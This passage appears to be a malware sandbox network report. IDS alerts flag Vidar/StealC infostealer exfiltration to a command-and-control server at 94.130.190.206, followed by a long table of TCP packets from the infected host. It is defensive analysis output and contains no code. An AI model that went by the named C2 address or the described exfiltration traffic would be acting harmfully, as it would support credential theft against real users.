2025-02-26T01:49:24.657787+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61525	94.130.190.206	443	TCP
2025-02-26T01:49:26.441918+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61552	94.130.190.206	443	TCP
2025-02-26T01:49:26.441918+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.5	61552	94.130.190.206	443	TCP
2025-02-26T01:49:31.192299+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61586	94.130.190.206	443	TCP
2025-02-26T01:49:34.616460+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.5	61618	94.130.190.206	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 26, 2025 01:48:50.455888987 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:50.455951929 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:50.456038952 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:50.465441942 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:50.465477943 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.088265896 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.088341951 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.137511015 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.137537003 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.137788057 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.137836933 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.140163898 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.183326006 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.347433090 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.347487926 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.347533941 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.347557068 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.347574949 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.347615004 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.360771894 CET	49723	443	192.168.2.5	149.154.167.99
Feb 26, 2025 01:48:51.360796928 CET	443	49723	149.154.167.99	192.168.2.5
Feb 26, 2025 01:48:51.401974916 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:51.402019978 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:51.402157068 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:51.402411938 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:51.402429104 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.262770891 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.262881994 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.274799109 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.274868965 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.275084972 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.275139093 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.275773048 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.319346905 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.731363058 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.731415987 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.731666088 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.832509995 CET	49730	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.832576990 CET	443	49730	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.861826897 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.861906052 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:52.861980915 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.865394115 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:52.865431070 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:53.524518013 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:53.524609089 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:53.525083065 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:53.525095940 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:53.527101040 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:53.527107000 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.095912933 CET	61237	53	192.168.2.5	1.1.1.1
Feb 26, 2025 01:48:54.100903034 CET	53	61237	1.1.1.1	192.168.2.5
Feb 26, 2025 01:48:54.100985050 CET	61237	53	192.168.2.5	1.1.1.1
Feb 26, 2025 01:48:54.106041908 CET	53	61237	1.1.1.1	192.168.2.5
Feb 26, 2025 01:48:54.197017908 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.197088957 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.197159052 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.197361946 CET	49745	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.197419882 CET	443	49745	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.198690891 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.198721886 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.198791027 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.199026108 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.199037075 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.557100058 CET	61237	53	192.168.2.5	1.1.1.1
Feb 26, 2025 01:48:54.562361956 CET	53	61237	1.1.1.1	192.168.2.5
Feb 26, 2025 01:48:54.562429905 CET	61237	53	192.168.2.5	1.1.1.1
Feb 26, 2025 01:48:54.847445965 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.847506046 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.848112106 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.848118067 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:54.858117104 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:54.858127117 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.510251999 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.510273933 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.510322094 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.510324955 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.510359049 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.510385036 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.510663986 CET	61238	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.510679007 CET	443	61238	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.520080090 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.520121098 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:55.520355940 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.520581007 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:55.520597935 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.177556992 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.177627087 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.178114891 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.178126097 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.180335999 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.180341005 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.833180904 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.833208084 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.833235025 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.833261013 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.833275080 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.833275080 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.833300114 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.833323956 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.833647013 CET	61249	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.833657026 CET	443	61249	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.850753069 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.850785971 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:56.850841045 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.851095915 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:56.851103067 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:57.500873089 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:57.501149893 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:57.503114939 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:57.503114939 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:57.503119946 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:57.503129959 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.193242073 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.193289042 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.193295002 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.193304062 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.193334103 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.193555117 CET	61260	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.193562984 CET	443	61260	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.222541094 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.222568035 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.222657919 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.222866058 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.222892046 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.876146078 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.876214027 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.876615047 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.876622915 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.878251076 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.878254890 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:58.878298044 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:58.878308058 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.219805002 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.219846010 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.219929934 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.220189095 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.220201015 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.584884882 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.584958076 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.585079908 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.586133957 CET	61270	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.586153984 CET	443	61270	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.868767023 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.869263887 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.869668007 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.869693041 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:48:59.882088900 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:48:59.882106066 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:00.673326015 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:00.673392057 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:00.673393965 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:00.673438072 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:00.674449921 CET	61277	443	192.168.2.5	94.130.190.206
Feb 26, 2025 01:49:00.674470901 CET	443	61277	94.130.190.206	192.168.2.5
Feb 26, 2025 01:49:02.025142908 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.025166035 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.025221109 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.027492046 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.027503967 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.304755926 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.304790020 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.304848909 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.305350065 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.305360079 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.346668959 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.346689939 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.346741915 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.347170115 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.347181082 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.467957020 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.467978001 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:02.468048096 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.468431950 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:02.468442917 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.179387093 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.179538965 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.179548979 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.180727005 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.180830956 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.181631088 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.181699038 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.181880951 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.222023010 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.222035885 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.269306898 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.565363884 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.565665960 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.565685034 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.566555023 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.566656113 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.567070007 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.567070007 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.567126036 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.591679096 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.595057011 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.595071077 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.595962048 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.596374989 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.596894979 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.596951008 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.601002932 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.601017952 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.601025105 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.601026058 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.601152897 CET	443	61292	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.601183891 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.601296902 CET	61292	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.610734940 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.610867977 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.610960960 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.613012075 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.614192009 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.622195959 CET	61289	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.622206926 CET	443	61289	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.623502970 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.626187086 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.626197100 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.627691031 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.628071070 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.628071070 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.628158092 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.628187895 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.646261930 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.671338081 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.674850941 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.674864054 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.720458031 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.901741982 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901788950 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901833057 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901863098 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.901865005 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901880980 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901930094 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.901942968 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901987076 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.901987076 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.901995897 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.902046919 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.902054071 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.909548998 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.909640074 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.909656048 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.913743019 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.914096117 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.914169073 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.934905052 CET	61301	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.934910059 CET	443	61301	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.961127996 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.984010935 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.984129906 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.984258890 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.984271049 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.990297079 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:03.994265079 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:03.994271040 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.004198074 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.006247997 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.006253958 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.011734009 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.014204025 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.014225006 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.061230898 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.223638058 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223804951 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223834991 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223890066 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223928928 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223959923 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.223982096 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224009037 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224009037 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224009037 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224025965 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224081039 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224097967 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224102974 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224244118 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224271059 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224277973 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224411964 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224598885 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224661112 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224693060 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224723101 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224728107 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224734068 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224775076 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224780083 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224812984 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224822998 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224833012 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224879026 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224880934 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224888086 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224935055 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224948883 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.224955082 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.224993944 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.225002050 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.225016117 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.225054979 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.225085020 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.225126028 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.225126028 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.225133896 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.228682995 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.228729010 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.228760958 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.228789091 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.228796959 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.228908062 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.229063034 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.229099035 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.229110956 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.229115009 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.229971886 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230022907 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230032921 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.230038881 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230065107 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.230077028 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230108023 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230129004 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.230134964 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230228901 CET	61298	443	192.168.2.5	142.250.185.68
Feb 26, 2025 01:49:04.230748892 CET	443	61298	142.250.185.68	192.168.2.5
Feb 26, 2025 01:49:04.230811119 CET	443	61298	142.250.185.68	192.168.2.5
